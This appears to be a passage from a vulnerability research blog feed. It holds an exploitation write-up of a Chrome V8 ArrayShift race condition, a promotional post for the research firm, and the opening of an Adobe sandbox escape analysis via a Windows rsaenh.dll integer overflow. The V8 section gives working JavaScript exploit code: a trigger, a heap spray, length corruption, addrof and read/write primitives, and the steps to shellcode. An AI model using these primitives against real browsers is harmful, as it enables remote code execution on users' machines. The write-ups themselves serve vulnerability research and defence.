  Handle﹤T﹥ CanonicalPersistentHandle(T object) {
    if (canonical_handles_) {

[TRUNCATED]

    } else {

[6]

      return Handle﹤T﹥(object, isolate());
    }
  }
				
			

The Handle created at [6] is now exposed to the JavaScript environment and a reference is held while the compilation job is being executed. At this point, if any other parts of the process modify the reference, for example, forcing a free on it, the TurboFan job will hold a dangling pointer. Exploiting the vulnerability relies on this behavior. In particular, knowing the precise point when the TurboFan job runs allows us to keep the bogus pointer within our reach.

Reference from the Main Thread (ArrayShift Built-in)

Once the code depicted in the previous section is running and it passes the point where the Handle to the array was created, executing the ArrayShift JavaScript function on the same array triggers the vulnerability. The following code is executed:

				
					// File: src/builtins/builtins-array.cc

BUILTIN(ArrayShift) {
  HandleScope scope(isolate);

  // 1. Let O be ? ToObject(this value).
  Handle receiver;

[1]

  ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, receiver, Object::ToObject(isolate, args.receiver()));

[TRUNCATED]

  if (CanUseFastArrayShift(isolate, receiver)) {

[2]

    Handle array = Handle::cast(receiver);
    return *array-&gt;GetElementsAccessor()-&gt;Shift(array);
  }

[TRUNCATED]

}
				
			

At [1], the receiver object (arr in the original JavaScript test case) is assigned to the receiver variable via the ASSIGN_RETURN_FAILURE_ON_EXCEPTION macro. It then uses this receiver variable [2] to create a new Handle of the JSArray type in order to call the Shift() function on it.

Conceptually, the shift operation on an array performs the following modifications to the array in the V8 heap:

ArrayShift operation on an Array of length 8

Two things change in memory: the pointer that denotes the start of the array is incremented, and the first element is overwritten by a filler object (which we referred to as “freed”). The filler is a special type of object described further below. With this picture in mind, we can continue the analysis with a clear view of what is happening in the code.

Prior to any manipulations of the array object, the following function calls are executed, passing the array (now of Handle<JSArray> type) as an argument:

				
					// File: src/objects/elements.cc

  Handle﹤Object﹥ Shift(Handle﹤JSArray﹥ receiver) final {

[3]

    return Subclass::ShiftImpl(receiver);
  }

[TRUNCATED]

  static Handle﹤Object﹥ ShiftImpl(Handle﹤JSArray﹥ receiver) {

[4]

    return Subclass::RemoveElement(receiver, AT_START);
  }

[TRUNCATED]

static Handle﹤Object﹥ RemoveElement(Handle﹤JSArray﹥ receiver,
                                      Where remove_position) {

[TRUNCATED]

[5]

    Handle﹤FixedArrayBase﹥ backing_store(receiver-﹥elements(), isolate);

[TRUNCATED]

    if (remove_position == AT_START) {

[6]

      Subclass::MoveElements(isolate, receiver, backing_store, 0, 1, new_length,
                             0, 0);
    }

[TRUNCATED]

}
				
			

Shift() at [3] simply calls ShiftImpl(). Then, ShiftImpl() at [4] calls RemoveElement(), passing the index as a second argument within the AT_START variable. This is to depict the shift operation, reminding us that it deletes the first object (index position 0) of an array.

Within the RemoveElement() function, the elements() function from the src/objects/js-objects-inl.h file is called again on the same receiver object and a Handle is created and stored in the backing_store variable. At [5] we see how the reference to the same object as the previous TurboFan job is created.

Finally, a call to MoveElements() is made [6] in order to perform the shift operation.

				
					// File: src/objects/elements.cc

  static void MoveElements(Isolate* isolate, Handle﹤JSArray﹥ receiver,
                           Handle﹤FixedArrayBase﹥ backing_store, int dst_index,
                           int src_index, int len, int hole_start,
                           int hole_end) {
    DisallowGarbageCollection no_gc;

[7]

    BackingStore dst_elms = BackingStore::cast(*backing_store);
    if (len ﹥ JSArray::kMaxCopyElements && dst_index == 0 &&

[8]

        isolate-﹥heap()-﹥CanMoveObjectStart(dst_elms)) {
      dst_elms = BackingStore::cast(

[9]

          isolate-﹥heap()-﹥LeftTrimFixedArray(dst_elms, src_index));

[TRUNCATED]
				
			

In MoveElements(), the variables dst_index and src_index hold the values 0 and 1 respectively, since the shift operation will shift all the elements of the array from index 1, and place them starting at index 0, effectively removing position 0 of the array. It starts by casting the backing_store variable to a BackingStore object and storing it in the dst_elms variable [7]. This is done to execute the CanMoveObjectStart() function, which checks whether the array can be moved in memory [8]. 

This check function is where the vulnerability resides. The function does not check whether other compilation jobs are running. If such a check passes, dst_elms (the reference to the elements) of the target array, will be passed onto LeftTrimFixedArray(), which will perform modifying operations on it.

				
					// File: src/heap/heap.cc

[10]

bool Heap::CanMoveObjectStart(HeapObject object) {
  if (!FLAG_move_object_start) return false;

  // Sampling heap profiler may have a reference to the object.
  if (isolate()-﹥heap_profiler()-﹥is_sampling_allocations()) return false;

  if (IsLargeObject(object)) return false;

  // We can move the object start if the page was already swept.
  return Page::FromHeapObject(object)-﹥SweepingDone();
}
				
			

In a vulnerable V8 version, we can see that while the CanMoveObjectStart() function at [10] checks for things such as the profiler holding references to the object or the object being a large object, the function does not contain any checks for concurrent compilation jobs. Therefore all checks will pass and the function will return True, leading to the LeftTrimFixedArray() function call with dst_elms as the first argument.

				
					// File: src/heap/heap.cc

FixedArrayBase Heap::LeftTrimFixedArray(FixedArrayBase object,
                                        int elements_to_trim) {

[TRUNCATED]

  const int element_size = object.IsFixedArray() ? kTaggedSize : kDoubleSize;
  const int bytes_to_trim = elements_to_trim * element_size;

[TRUNCATED]

[11]

  // Calculate location of new array start.
  Address old_start = object.address();
  Address new_start = old_start + bytes_to_trim;

[TRUNCATED]

[12]

  CreateFillerObjectAt(old_start, bytes_to_trim,
                       MayContainRecordedSlots(object)
                           ? ClearRecordedSlots::kYes
                           : ClearRecordedSlots::kNo);

[TRUNCATED]

#ifdef ENABLE_SLOW_DCHECKS
  if (FLAG_enable_slow_asserts) {
    // Make sure the stack or other roots (e.g., Handles) don't contain pointers
    // to the original FixedArray (which is now the filler object).
    SafepointScope scope(this);
    LeftTrimmerVerifierRootVisitor root_visitor(object);
    ReadOnlyRoots(this).Iterate(&root_visitor);

[13]

    IterateRoots(&root_visitor, {});
  }
#endif  // ENABLE_SLOW_DCHECKS

[TRUNCATED]
}
				
			

At [11] the address of the object, given as the first argument to the function, is stored in the old_start variable. The address is then used to create a Fillerobject [12]. Fillers, in garbage collection, are a special type of object that serves the purpose of denoting a free space without actually freeing it, but with the intention of ensuring that there is a contiguous space of objects for a garbage collection cycle to iterate over. Regardless, a Filler object denotes a free space that can later be reclaimed by other objects. Therefore, since the compilation job also has a reference to this object’s address, the optimization job now points to a Filler object which, after a garbage collection cycle, will be a dangling pointer.

For completion, the marker at [13] shows the place where debug builds would bail out. The IterateRoots() function takes a variable created from the initial object (dst_elms) as an argument, which is now a Filler, and checks whether there is any other part in V8 that is holding a reference to it. In the case there is a running compilation job holding said reference, this function will crash the process on debug builds.

Exploitation

Exploiting this vulnerability involves the following steps:

  • Triggering the vulnerability by creating an Array barr and forcing a compilation job at the same time as the ArrayShift built-in is called.
  • Triggering a garbage collection cycle in order to reclaim the freed memory with Array-like objects, so that it is possible to corrupt their length.
  • Locating the corrupted array and a marker object to construct the addrof, read, and write primitives.
  • Creating and instantiating a wasm instance with an exported main function, then overwriting the main exported function’s shellcode.
  • Finally, calling the exported main function, running the previously overwritten shellcode.

After reclaiming memory, there’s the need to find certain markers in memory, as the objects that reclaim memory might land at different offsets every time. Due to this, should the exploit fail to reproduce, it needs to be restarted to either win the race or correctly find the objects in the reclaimed space. The possible causes of failure are losing the race condition or the spray not being successful at placing objects where they’re needed.

Triggering the Vulnerability

Again, let’s start with a test case that triggers an assert in debug builds. The following JavaScript code triggers the vulnerability, crashing the engine on debug builds via a DCHECK_NE statement:

				
					 function trigger() {

[1]

    let buggy_array_size = 120;
    let PUSH_OBJ = [324];
    let barr = [1.1];
    for (let i = 0; i ﹤ buggy_array_size; i++) barr.push(PUSH_OBJ);

    function dangling_reference() {

[2]

      barr.shift();
      for (let i = 0; i ﹤ 10000; i++) { console.i += 1; }
      let a = barr[0];

[3]

      function gcing() {
        const v15 = new Uint8ClampedArray(buggy_array_size*0x400000);
      }
      let gcit = gcing();
      for (let v19 = 0; v19 ﹤ 500; v19++) {}
    }

[4]

    for (let i = 0; i ﹤ 4; i++) {
      dangling_reference();
    }
 }

trigger();
				
			

Trigerring the vulnerabiliy comprises the following steps:

  • At [1] an array barr is created by pushing objects PUSH_OBJ into it. These serve as a marker at later stages.
  • At [2] the bug is triggered by performing the shift on the barr array. A for loop triggers the compilation early, and a value from the array is loaded to trigger the right optimization reduction.
  • At [3] the gcing() function is responsible for triggering a garbage collection after each iteration. When the vulnerability is triggered, the reference to barr is freed. A dangling pointer is then held at this point.
  • At [4] there is the need to stop executing the function to be optimized exactly on the iteration that it gets optimized. The concurrent reference to the Filler object is obtained only at this iteration.

Reclaiming Memory and Corrupting an Array Length

The next excerpt of the code explains how the freed memory is reclaimed by the desired arrays in the full exploit. The goal of the following code is to get the elements of barr to point to the tmpfarr and tmpMarkerArray objects in memory, so that the length can be corrupted to finally build the exploit primitives.

Leveraging the barr array

The above image shows how the elements of the barr array are altered throughout the exploit. We can see how, in the last state, barr‘s elements point to the in-memory JSObjects tmpfarr and tmpArrayMarker, which will allow corrupting their lengths via statements like barr[2] = 0xffff. Bear in mind that the images are not comprehensive. JSObjects represented in memory contain fields, such as Map or array length, that are not shown in the above image. Refer to the References section for details on complete structures.

				
					let size_to_search = 0x8c;
let next_size_to_search = size_to_search+0x60;
let arr_search = [];
let tmparr = new Array(Math.floor(size_to_search)).fill(9.9);
let tmpMarkerArray =  new Array(next_size_to_search).fill({
  a: placeholder_obj, b: placeholder_obj, notamarker: 0x12341234, floatprop: 9.9
});
let tmpfarr= [...tmparr];
let new_corrupted_length = 0xffff;

for (let v21 = 0; v21 ﹤ 10000; v21++) {

[1]

  arr_search.push([...tmpMarkerArray]);
  arr_search.push([...tmpfarr]);

[2]

  if (barr[0] != PUSH_OBJ) {
    for (let i = 0; i ﹤ 100; i++) {

[3]

      if (barr[i] == size_to_search) {

[4]

        if (barr[i+12] != next_size_to_search) continue;

[5]

        barr[i] = new_corrupted_length;
        break;
      }
    }
    break;
  }
}

for (let i = 0; i ﹤ arr_search.length; i++) {

[6]

  if (arr_search[i]?.length == new_corrupted_length) {
    return [arr_search[i], {
      a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337
    }];
  }
}
				
			

In the following, we describe the above code that alters barr‘s element as shown in the previous figure.

  • Within a loop at [1], several arrays are pushed into another array with the intention of reclaiming the previously freed memory. These actions trigger garbage collection, so that when the memory is freed, the object is moved and overwritten by the desired arrays (tmpfarr and tmpMarkerArray).
  • The check at [2] observes that the array no longer contains any of the initial values pushed. This means that the vulnerability has been triggered correctly and barr now points to some other part of memory.
  • The intention of the check at [3] is to identify the array element that holds the length of the tmpfarr array.
  • The check at [4] verifies that the adjacent object has the length for tmpMarkerArray.
  • The length of the tmpfarr is then overwritten at [5] with a large value, so that it can be used to craft the exploit primitives.
  • Finally at [6], a search for the corrupted array object is performed by querying for the new corrupted length via the JavaScript length property. One thing to note is the optional chaining ?. This is needed here because arr_search[i] might be an undefined value without the length property, breaking JavaScript execution. Once found, the corrupted array is returned.

Creating and Locating the Marker Object

Once the length of an array has been corrupted, it allows reading and writing out-of-bounds within the V8 heap. Certain constraints apply, as reading too far could cause the exploit to fail. Therefore a cleaner way to read-write within the V8 heap and to implement exploit primitives such as addrof is needed.

				
					[1]

for (let i = size_to_search; i ﹤ new_corrupted_length/2; i++) {

[2]

  for (let spray = 0; spray ﹤ 50; spray++) {
    let local_findme = {
      a: placeholder_obj, b: placeholder_obj, findme: 0x11111111, floatprop: 1.337, findyou:0x12341234
    };
    objarr.push(local_findme);
    function gcing() {
      const v15 = new String("Hello, GC!");
    }
    gcing();
  }
  if (marker_idx != -1) break;

[3]

  if (f2string(cor_farr[i]).includes("22222222")){
    print(`Marker at ${i} =﹥ ${f2string(cor_farr[i])}`);
    let aux_ab = new ArrayBuffer(8);
    let aux_i32_arr = new Uint32Array(aux_ab); 
    let aux_f64_arr = new Float64Array(aux_ab);
    aux_f64_arr[0] = cor_farr[i];

[4]

    if (aux_i32_arr[0].toString(16) == "22222222") {
      aux_i32_arr[0] = 0x44444444;
    } else {
      aux_i32_arr[1] = 0x44444444;
    }
    cor_farr[i] = aux_f64_arr[0];

[5]

    for (let j = 0; j ﹤ objarr.length; j++) {
      if (objarr[j].findme != 0x11111111) {
        leak_obj = objarr[j];
        if (leak_obj.findme != 0x11111111) {
          print(`Found right marker at ${i}`);
          marker_idx = i;
          break;
        }
      }
    }
    break;
  }
}
				
			
  • A for loop [1] traverses the array with corrupted length cor_farr. Note that this is one of the parts of potential failure in the exploit. Traversing too far into the corrupted array will likely result in a crash due to reading past the boundaries of the memory page. Thus, a value such as new_corrupted_length/2 was selected at the time of development which was the output of several tests.
  • Before starting to traverse the corrupted array, a minimal memory spray is attempted at [2] in order to have the wanted local_findme object right in the memory pointed by cor_farr. Furthermore, garbage collection is triggered in order to trigger compaction of the newly sprayed objects with the intention of making them adjacent to cor_farr elements.
  • At [3] f2string converts the float value of cor_farr[i] to a string value. This is then checked against the value 22222222 because V8 represents small integers in memory with the last bit set to 0 by left shifting the actual value by one. So 0x11111111 << 1 == 0x22222222 which is the memory value of the small integer property local_findme.findme. Once the marker value is found, several “array views” (Typed Arrays) are constructed in order to change the 0x22222222 part and not the rest of the float value. This is done by creating a 32-bit view aux_i32_arr and a 64-bit aux_f64_arr view on the same buffer aux_ab.
  • A check is performed at [4] to know wether the marker is found in the higher or the lower 32-bit. Once determined, the value is changed for 0x44444444 by using the auxiliary array views.
  • Finally at [5], the objarr array is traversed in order to find the changed marker and the index marker_idx is saved. This index and leak_obj are used to craft exploit primitives within the V8 heap.

Exploit Primitives

The following sections are common to most V8 exploits and are easily accessible from other write-ups. We describe these exploit primitives to explain the caveat of having to deal with the fact that the spray might have resulted in the objects being unaligned in memory.

Address of an Object

				
					function v8h_addrof(obj) {

[1]

  leak_obj.a = obj;
  leak_obj.b = obj;

  let aux_ab = new ArrayBuffer(8);
  let aux_i32_arr = new Uint32Array(aux_ab); 
  let aux_f64_arr = new Float64Array(aux_ab);

[2]

  aux_f64_arr[0] = cor_farr[marker_idx - 1];

[3]

  if (aux_i32_arr[0] != aux_i32_arr[1]) {
    aux_i32_arr[0] = aux_i32_arr[1]
  }  

  let res = BigInt(aux_i32_arr[0]);

  return res;
}
				
			

The above code presents the addrof primitive and consists of the following steps:

  • First, at [1], the target object to leak is placed within the properties a and b of leak_obj and auxiliary array views are created in order to read from the corrupted array cor_farr.
  • At [2], the properties are read from the corrupted array by subtracting one from the marker_idx. This is due to the leak_obj having the properties next to each other in memory; therefore a and b precede the findme property.
  • By checking the upper and lower 32-bits of the read float value at [3], it is possible to tell whether the a and b values are aligned. In case they are not, it means that only the higher 32-bits of the float value contains the address of the target object. By assigning it back to the index 0 of the aux_i32_arr, the function is simplified and it is possible to just return the leaked value by always reading from the same index.

Reading and Writing on the V8 Heap

Depending on the architecture and whether pointer compression is enabled (default on 64-bit architectures), there will be situations where it is needed to read either just a 32-bit tagged pointer (e.g. an object) or a full 64-bit address. The latter case only applies to 64-bit architectures due to the need of manipulating the backing store of a Typed Array as it will be needed to build an arbitrary read and write primitive outside of the V8 heap boundaries.

Below we only present the 64-bit architecture read/write. Their 32-bit counterparts do the same, but with the restriction of reading the lower or higher 32-bit values of the leaked 64-bit float value.

				
					function v8h_read64(v8h_addr_as_bigint) {
  let ret_value = null;
  let restore_value = null;
  let aux_ab = new ArrayBuffer(8);
  let aux_i32_arr = new Uint32Array(aux_ab); 
  let aux_f64_arr = new Float64Array(aux_ab);
  let aux_bint_arr = new BigUint64Array(aux_ab);

[1]

  aux_f64_arr[0] = cor_farr[marker_idx];
  let high = aux_i32_arr[0] == 0x44444444;

[2]

  if (high) {
    restore_value = aux_f64_arr[0];
    aux_i32_arr[1] = Number(v8h_addr_as_bigint-4n);
    cor_farr[marker_idx] = aux_f64_arr[0];
  } else {
    aux_f64_arr[0] = cor_farr[marker_idx+1];
    restore_value = aux_f64_arr[0];
    aux_i32_arr[0] = Number(v8h_addr_as_bigint-4n);
    cor_farr[marker_idx+1] = aux_f64_arr[0];
  }

[3]

  aux_f64_arr[0] = leak_obj.floatprop;
  ret_value = aux_bint_arr[0];
  cor_farr[high ? marker_idx : marker_idx+1] = restore_value;
  return ret_value;
}
				
			

The 64-bit architecture read consists of the following steps:

  • At [1], a check for alignment is done via the marker_idx: if the marker is found in the lower 32-bit value via aux_i32_arr[0], it means that the leak_obj.floatprop property is in the upper 32-bit (aux_i32_arr[1]).
  • Once alignment has been determined, next at [2] the address of the leak_obj.floatprop property is overwritten with the desired address provided by the argument v8h_addr_as_bigint. In addition, 4 bytes are subtracted from the target address because V8 will add 4 with the intention of skipping the map pointer to read the float value.
  • At [3], the leak_obj.floatprop points to the target address in the V8 heap. By reading it through the property, it is possible to obtain 64-bit values as floats and make the conversion with the auxiliary arrays.

This function can also be used to write 64-bit values by adding a value to write as an extra argument and, instead of reading the property, writing to it.

				
					function v8h_write64(what_as_bigint, v8h_addr_as_bigint) {

[TRUNCATED]

    aux_bint_arr[0] = what_as_bigint;
    leak_obj.floatprop = aux_f64_arr[0];

[TRUNCATED]
				
			

As mentioned at the beginning of this section, the only changes required to make these primitives work on 32-bit architectures are to use the provided auxiliary 32-bit array views such as aux_i32_arr and only write or read on the upper or lower 32-bit, as the following snippet shows:

				
					[TRUNCATED]

    aux_f64_arr[0] = leak_obj.floatprop;
    ret_value = aux_i32_arr[0];

[TRUNCATED]
				
			

Using the Exploit Primitives to Run Shellcode

The following steps to run custom shellcode on 64-bit architectures are public knowledge, but are summarized here for the sake of completion:

  1. Create a wasm module that exports a function (eg: main).
  2. Create a wasm instance object WebAssembly.Instance.
  3. Obtain the address of the wasm instance using the addrof primitive
  4. Read the 64bit pointer within the V8 heap at the wasm instance plus 0x68. This will retrieve the pointer to a rwx page where we can write our shellcode to.
  5. Now create a Typed Array of Uint8Array type.
  6. Obtain its address via the addrof function.
  7. Write the previously obtained pointer to the rwx page into the backing store of the Uint8Array, located 0x28 bytes from the Uint8Array address obtained in step 6.
  8. Write your desired shellcode into the Uint8Array one byte at a time. This will effectively write into the rwx page.
  9. Finally, call the main function exported in step 1.

Conclusion

This vulnerability was made possible by a Feb 2021 commit that introduced direct heap reads for JSArrayRef, allowing for the retrieval of a handle. Furthermore, this bug would have flown under the radar if not for another commit in 2018 that introduced measures to crash when double references are held during shift operation on arrays. This vulnerability was patched in June 2021 by disabling left-trimming when concurrent compilation jobs are being executed

The commits and their timeline show that it is not easy for developers to write secure code in a single go, especially in complex environments like JavaScript engines that also include fully-fledged optimizing compilers running concurrently.

We hope you enjoyed reading this. If you are hungry for more, make sure to check our other blog posts.

References

Turbofan definition – https://web.archive.org/web/20210325140355/https://v8.dev/blog/turbofan-jit

Orinoco – GC – https://web.archive.org/web/20210421220936/https://v8.dev/blog/trash-talk

V8 Object representation – http://web.archive.org/web/20210203161224/https://www.jayconrod.com/posts/52/a-tour-of-v8–object-representation

EcmaScript – https://web.archive.org/web/20201126065600/http://www.ecma-international.org/ecma-262/5.1/ECMA-262.pdf

TypedArrays in JS – https://web.archive.org/web/20201115103318/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray

ArrayShift – https://web.archive.org/web/20210523042109/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/shift

ArrayPush – https://web.archive.org/web/20210523042046/https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push

Elements Kind – https://web.archive.org/web/20210319122800/https://source.chromium.org/chromium/v8/v8.git/+/5db4a28ef75f893e85b7f505f5528cc39e9deef5:src/objects/elements-kind.h;l=31

https://web.archive.org/web/20210321104253/https://v8.dev/blog/elements-kinds

Fast properties – https://web.archive.org/web/20210326133458/https://v8.dev/blog/fast-properties

Pointer Compression in V8 – https://web.archive.org/web/20230512101949/https://v8.dev/blog/pointer-compression

About Exodus Intelligence

Our world class team of vulnerability researchers discover hundreds of exclusive Zero-Day vulnerabilities, providing our clients with proprietary knowledge before the adversaries find them. We also conduct N-Day research, where we select critical N-Day vulnerabilities and complete research to prove whether these vulnerabilities are truly exploitable in the wild.

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post Google Chrome V8 ArrayShift Race Condition Remote Code Execution appeared first on Exodus Intelligence.

Why Choose Exodus Intelligence for Enhanced Vulnerability Management? 

16 May 2023 at 14:00

In the contemporary digital landscape, vulnerability management teams and analysts are overwhelmed by countless alerts, data streams, and patch recommendations. The sheer volume of information is daunting and frequently misleading. Ideally, the systems generating these alerts should streamline and prioritize the information. While AI systems and products are not yet mature enough to effectively filter out the noise, the solution still lies with humans—particularly, the experts who can accurately identify what’s critical and advise where to concentrate limited resources.  That’s where Exodus Intelligence comes in. Exodus focuses on investigating the vulnerabilities that matter, helping teams to reduce efforts on unnecessary alerting while focusing attention on critical and immediate areas of concern. 

 EXPERTISE IN (UN)EXPLOITABILITY 

 The threat landscape is diverse, ranging from payloads and malware to exploits and vulnerabilities. At Exodus, we target the root of the issue—the vulnerabilities. However, not just any vulnerability catches our attention. We dedicate our expertise to uncovering, analyzing, and documenting the most critical vulnerabilities within realistic, enterprise-level products that are genuinely exploitable. This emphasis on exploitability is intentional and pivotal. The intelligence we offer guides our customers towards becoming UN-EXPLOITABLE. 

 UNRIVALED TALENT POOL 

Exodus has fostered a culture over more than a decade that attracts and nurtures white hat hackers. We employ some of the world’s most advanced reverse engineers to conduct research for our customers, providing them with actionable intelligence and leading-edge insights to harden their network. Our relentless efforts are geared towards staying at the forefront of leading techniques and skills essential to outpace the world’s most advanced adversaries. Understanding and defending against a hacker necessitates a hacker’s mindset and skill set, which is precisely what we employ and offer. 

 RESPECTED INDUSTRY STANDING 

 Our team has won pwn2own competitions, authored books, and trained the most advanced teams worldwide. Our expertise and research have been relied upon by the United States and allied nations’ agencies for years, establishing a global reputation for us as one of the most advanced, mature, and reputable teams in this field. 

 PRECISE DETECTION 

 Exodus researchers dedicate weeks or even months to delve deep into the code to discover unknown vulnerabilities and analyze known (patched) vulnerability root causes. Our researchers develop an in-depth understanding of every vulnerability we report, often surpassing the knowledge of the developers themselves. The mitigation and detection guidance we provide ensures the accurate detection and mitigation of vulnerabilities, eliminating false positives. We don’t merely attempt to catch the exploit; we actually do. 

 EXCEPTIONAL VALUE 

 We have a dedicated team of over 30 researchers from across the globe, focusing solely on vulnerability research. In many companies, professionals and security engineers tasked with managing vulnerabilities and threats often have to deal with tasks outside their core competency. Now, imagine leveraging the expertise and output of 30 researchers dedicated to vulnerability research, all for the price of ONE cybersecurity engineer. Need we say more?… 

 Become the next forward-thinking business to join our esteemed customer list by filling out this form:

ABOUT EXODUS INTELLIGENCE 

Exodus Intelligence detects the undetectable.  Exodus discovers, analyzes and proves N-Day and Zero-Day vulnerabilities in our secure lab and provides our research to credentialed customers through our secure portal or API.  

Exodus’ Zero-Day Subscription provides customers with critically exploitable vulnerability reports, unknown to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Exodus’ N-Day Subscription provides customers with analysis of critically exploitable vulnerability reports, known to the public, affecting widely used and relied upon software, hardware, and embedded devices.   

Customers gain access to a proprietary library of N-Day and Zero-Day vulnerability reports in addition to proof of concepts and highly enriched vulnerability intelligence packages. These Vulnerability Intelligence packages, unavailable anywhere else, enable customers to reduce their mean time to detect and mitigate critically exploitable vulnerabilities.  Exodus enables customers to focus resources on establishing defenses against the most serious threats to your enterprise for less than the cost of a single cybersecurity engineer. 

For more information on our products and how we can help your vulnerability efforts, visit www.exodusintel.com or contact [email protected] for further discussion.

The post <strong>Why Choose Exodus Intelligence for Enhanced Vulnerability Management? </strong> appeared first on Exodus Intelligence.

Escaping Adobe Sandbox: Exploiting an Integer Overflow in Microsoft Windows Crypto Provider

6 April 2023 at 19:01

By Michele Campa

Overview

We describe a method to exploit a Windows Nday vulnerability to escape the Adobe sandbox. This vulnerability is assigned CVE-2021-31199 and it is present in multiple Windows 10 versions. The vulnerability is an out-of-bounds write due to an integer overflow in a Microsoft Cryptographic Provider library, rsaenh.dll.

Microsoft Cryptographic Provider is a set of libraries that implement common cryptographic algorithms. It contains the following libraries:
 
  • dssenh.dll  – Algorithms to exchange keys using Diffie-Hellman or to sign/verify data using DSA.
  • rsaenh.dll  – Algorithms to work with RSA.
  • basecsp.dll – Algorithms to work with smart cards.

These providers are abstracted away by API in the CryptSP.dll library, which acts as an interface that developers are expected to use. Each call to the API expects an HCRYPTPROV object as argument. Depending on certains fields in this object, CryptSP.dll redirects the code flow to the right provider. We will describe the HCRYPTPROV object in more detail when describing the exploitation of the vulnerability.

Cryptographic Provider Dispatch

Adobe Sandbox Broker Communication

 
Both Adobe Acrobat and Acrobat Reader run in Protected Mode by default. The protected mode is a feature that allows opening and displaying PDF files in a restricted process, a sandbox. The restricted process cannot access resources directly. Restrictions are imposed upon actions such as accessing the file system and spawning processes. A sandbox makes achieving arbitrary code execution on a compromised system harder.
 
Adobe Acrobat and Acrobat Reader use two processes when running in Protected Mode:
 
  • The Broker process, which provides limited and safe access to the sandboxed code.
  • The Sandboxed process, which processes and displays PDF files.
When the sandbox needs to execute actions that cannot be directly executed, it emits a request to the broker through a well defined IPC protocol. The broker services such requests only after ensuring that they satisfy a configured policy.
Sandbox and Broker

Sandbox Broker Communication Design

 
The communication between broker and sandbox happens via a shared memory that acts like a message channel. It informs the other side that a message is ready to be processed or that a message has been processed and the response is ready to be read.
 
On startup the broker initializes a shared memory of size 2MB and initializes the event handlers. Both, the event handlers and the shared memory are duplicated and written into the sandbox process via WriteProcessMemory().
 
When the sandbox needs to access a resource, it prepares the message in the shared memory and emits a signal to inform the broker. On the other side, once the broker receives the signal it starts processing the message and emits a signal to the sandbox when the message processing is complete.
Communication between Sandbox and Broker
The elements involved in the Sandbox-Broker communication are as follows:
 
  • Shared memory with RW permissions of size 2MB is created when the broker starts. It is mapped into the child process, i.e. the sandbox.
  • Signals and atomic instructions are used to synchronize access to the shared memory.
  • Multiple channels in the shared memory allow bi-directional communication by multiple threads simultaneously.
In summary, when the sandbox process cross-calls a broker-exposed resource, it locks the channel, serializes the request and pings the broker. Finally it waits for broker and reads the result.
 

Vulnerability

The vulnerability occurs in the rsaenh.dll:ImportOpaqueBlob() function when a crafted opaque key blob is imported. This routine is reached from the Crypto Provider interface by calling CryptSP:CryptImportKey() that leads to a call to the CPImportKey() function, which is exposed by the Crypto Provider.
				
					// rsaenh.dll

__int64 __fastcall CPImportKey(
        __int64 hcryptprov,
        char *key_to_imp,
        unsigned int key_len,
        __int64 HCRYPT_KEY_PUB,
        unsigned int flags,
        _QWORD *HCRYPT_KEY_OUT)
{

[Truncated]

  v7 = key_len;
  v9 = hcryptprov;
  *(_QWORD *)v116 = hcryptprov;
  NewKey = 1359;

[Truncated]

  v12 = 0i64;
  if ( key_len
    &amp;&amp; key_len = key_len )
  {
    if ( (unsigned int)VerifyStackAvailable() )
    {

[1]

      v13 = (unsigned int)(v7 + 8) + 15i64;
      if ( v13 = (unsigned int)v7 )
      {
        v39 = (char *)((__int64 (__fastcall *)(_QWORD))g_pfnAllocate)((unsigned int)(v7 + 8));
        v12 = v39;

[Truncated]

      }

[Truncated]

      goto LABEL_14;
    }

[Truncated]

LABEL_14:

[2]

  memcpy_0(v12, key_to_imp, v7);
  v15 = 1;
  v107 = 1;
  v9 = *(_QWORD *)v116;

[Truncated]

[3]

  v18 = NTLCheckList(v9, 0);
  v113 = (const void **)v18;

[Truncated]

[4]

  if ( v12[1] != 2 )
  {

[Truncated]

  }
  if ( v16 == 6 )
  {

[Truncated]

  }
  switch ( v16 )
  {
    case 1:

[Truncated]

    case 7:

[Truncated]

    case 8:

[Truncated]

    case 9:

[5]

      NewKey = ImportOpaqueBlob(v19, (uint8_t *)v12, v7, HCRYPT_KEY_OUT);
      if ( !NewKey )
        goto LABEL_30;
      v40 = WPP_GLOBAL_Control;
      if ( WPP_GLOBAL_Control == &amp;WPP_GLOBAL_Control || (*((_BYTE *)WPP_GLOBAL_Control + 28) &amp; 1) == 0 )
        goto LABEL_64;
      v41 = 210;
      goto LABEL_78;
    case 11:

[Truncated]

    case 12:

[Truncated]

    default:

[Truncated]

  }
}
				
			

Before reaching ImportOpaqueBlob() at [5], the key to import is allocated on the stack or on the heap according to the available stack space at [1]. The key to import is copied, at [2], into the new memory allocated; the public key struct version member is expected to be 2. The HCRYPTPROV object pointer is decrypted at [3], and then at [4] the key version is checked to be equal to 2. Finally a switch case on the type field of the key to import leads to executing ImportOpaqueBlob() at [5]. This occurs if and only if the type member is equal to OPAQUEKEYBLOB (0x9).

The OPAQUEKEYBLOB indicates that the key is a session key (as opposed to public/private keys).

				
					__int64 __fastcall ImportOpaqueBlob(__int64 a1, uint8_t *key_, unsigned int len_, unsigned __int64 *out_phkey)
{

[Truncated]

    *out_phkey = 0i64;
    v8 = 0xC0;

[6]

    if ( len_ = v18 )      // key + 0x10
        {
            if ( (_DWORD)v17 )
            {

[9]

                *((_QWORD *)v16 + 3) = v16 + 0xC8;
                memcpy_0(v16 + 0xC8, key_ + 0x70, v17);
            }

[Truncated]

    }
    else
    {

[Truncated]

    }
      if ( v16 )
        FreeNewKey(v16);
      return v10;
    }

[Truncated]

  return v10;
}
				
			

In order to reach the vulnerable code, it is required that the key to import has more than 0x70 bytes [6]. The vulnerability occurs due to an integer overflow that happens at [7] due to a lack of checking the values at addresses (unsigned int)((uint8_t*)key + 0x14) and (unsigned int)((uint8_t*)key + 0x10). For example if one of these members is set to 0xffffffff, an integer overflow occurs. The vulnerability is triggered when the memcpy() routine is called to copy (unsigned int)((uint8_t*)key + 0x10) bytes from key + 0x70 into v16 + 0xc8 at [9].

